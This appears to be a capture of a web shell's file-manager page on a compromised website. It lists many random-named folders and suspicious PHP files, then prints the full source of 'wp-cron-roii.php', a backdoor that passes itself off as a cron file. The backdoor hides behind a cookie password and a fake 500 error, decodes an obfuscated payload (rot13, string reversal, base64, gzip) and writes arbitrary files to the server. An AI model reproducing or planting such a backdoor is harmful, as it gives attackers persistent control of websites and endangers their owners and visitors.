FM / p.desidrivers.com.au

/home/desid573/p.desidrivers.com.au/

/home/desid573/p.desidrivers.com.au

Name	Size	Mode	Actions
.well-known/	-	0755	rm
1rjqohb/	-	0755	rm
ahkwbog/	-	0755	rm
ashk1ft/	-	0755	rm
awkbfzv/	-	0755	rm
bjremdu/	-	0755	rm
cgi-bin/	-	0755	rm
clmdwtj/	-	0755	rm
czyawsq/	-	0755	rm
dbyt1kp/	-	0755	rm
dp1jghs/	-	0755	rm
edjpugc/	-	0755	rm
eqctukd/	-	0755	rm
etkdjs1/	-	0755	rm
fuvtabo/	-	0755	rm
gdythrn/	-	0755	rm
gtovudl/	-	0755	rm
gxwdhmo/	-	0755	rm
hg1syri/	-	0755	rm
hpm1kqy/	-	0755	rm
hupyck1/	-	0755	rm
hvzr1xn/	-	0755	rm
iacorjq/	-	0755	rm
isfnuth/	-	0755	rm
itw1peh/	-	0755	rm
itzuk1w/	-	0755	rm
jckvwpz/	-	0755	rm
jczkebd/	-	0755	rm
jtxdqin/	-	0755	rm
jyobcqu/	-	0755	rm
kbueajp/	-	0755	rm
kvhngdo/	-	0755	rm
ld1azoh/	-	0755	rm
ldbjgkz/	-	0755	rm
ldwbrnt/	-	0755	rm
lgraqhk/	-	0755	rm
lrgvhqn/	-	0755	rm
lzcwmbi/	-	0755	rm
mchfngl/	-	0755	rm
mdbkntw/	-	0755	rm
mhgejfn/	-	0755	rm
mrhvtyl/	-	0755	rm
nkajtre/	-	0755	rm
ntidz1l/	-	0755	rm
obmlgyz/	-	0755	rm
onzbrf1/	-	0755	rm
osqebia/	-	0755	rm
ozreiyp/	-	0755	rm
pirowqn/	-	0755	rm
pqbykug/	-	0755	rm
ptjn1gf/	-	0755	rm
pxdfnga/	-	0755	rm
pyutxvz/	-	0755	rm
qbnwclg/	-	0755	rm
qvsogxr/	-	0755	rm
r1wptkx/	-	0755	rm
rawdxqv/	-	0755	rm
rcktjyq/	-	0755	rm
rdaqgxv/	-	0755	rm
rf1esop/	-	0755	rm
rmibayn/	-	0755	rm
rohzmwy/	-	0755	rm
rykqvjg/	-	0755	rm
scramle/	-	0755	rm
tdnbhaf/	-	0755	rm
tfyldrs/	-	0755	rm
twb1skg/	-	0755	rm
uvyhqro/	-	0755	rm
uwmnqfy/	-	0755	rm
vbyc1od/	-	0755	rm
vmjkuxg/	-	0755	rm
vowjd1k/	-	0755	rm
vrudghk/	-	0755	rm
well-known/	-	0755	rm
wxfvycg/	-	0755	rm
wz1nqux/	-	0755	rm
x1vqski/	-	0755	rm
ychd1wb/	-	0755	rm
yeqofh1/	-	0755	rm
ypqvoki/	-	0755	rm
ytw1ebj/	-	0755	rm
zugybm1/	-	0755	rm
zywfdoi/	-	0755	rm
.htaccess	203	0644	edit dl rm
generateNumbers.php	1532	0644	edit dl rm
paymentLinkFind.php	1367	0644	edit dl rm
wp-cron-roii.php	1659	0644	edit dl rm

Edit: /home/desid573/p.desidrivers.com.au/wp-cron-roii.php (1659B)

<?php
function endsWith($FullStr, $needle) {
	$StrLen = strlen($needle);
	$FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
	return $FullStrEnd == $needle;
}
function folder_of_file($p1){
	if(!stristr($p1, '/')){
		return realpath('./');
	}
	if(strpos($p1, '//') !== false){
		$p1 = str_replace('//','/',$p1);
	}
	if(endsWith($p1, '/') == true){
		$p1 = substr_replace($p1 ,'', -1);
	}
	$p2 = '';
	$ar = explode('/', $p1);
	for($i=1; $i < count($ar) - 1; $i++){
		$p2 .= '/'.$ar[$i];
	}
	if($p1[0] == '.' && $p1[1] == '/'){
		$p2 = './'.$p2;
	}
	if($p1[0] == '.' && $p1[1] == '.'){
		$p2 = '../'.$p2;
	}
	if(strpos($p2, '//') !== false){
		$p2 = str_replace('//','/',$p2);
	}
	return trim($p2);
}
function save($path, $source){
	$os = strtolower(substr(PHP_OS, 0, 3));
	$folder_P = folder_of_file($path);
	if (!is_writable($folder_P) && $os != "win"){ chmod($folder_P, 0755); }
	if (file_exists($path) && is_file($path) && !is_writable($path) && $os != "win"){ chmod($path, 0644); }
	if(function_exists('file_put_contents')){
		$saV = file_put_contents($path, $source);
	}else{
		$saV = fwrite(fopen($path, 'w'), $source);
	}
	return $saV;
}
if(!empty($_GET['action'])){
	die('Sorry the page you were looking for could not be found.');
}
if (md5(md5(md5($_COOKIE['pwd']))) !== '0d4f69bb38f2354a6d896d6a222a4bf5' || empty($_POST['name']) || empty($_POST['age'])){
	header('HTTP/1.1 500 Internal Server Error', true, 500);
	exit(0);
}
$b = 'ba'.'s'.'e'.'6'.'4_'.'de'.'co'.'de';$srv = 'str'.'rev';$rot = 'str'.'_'.'rot'.'13';
save(trim($_POST['name']), gzuncompress($b($srv($rot(trim($_POST['age']))))));
echo '<html><center>./Done</center></html>';
?>

cmd: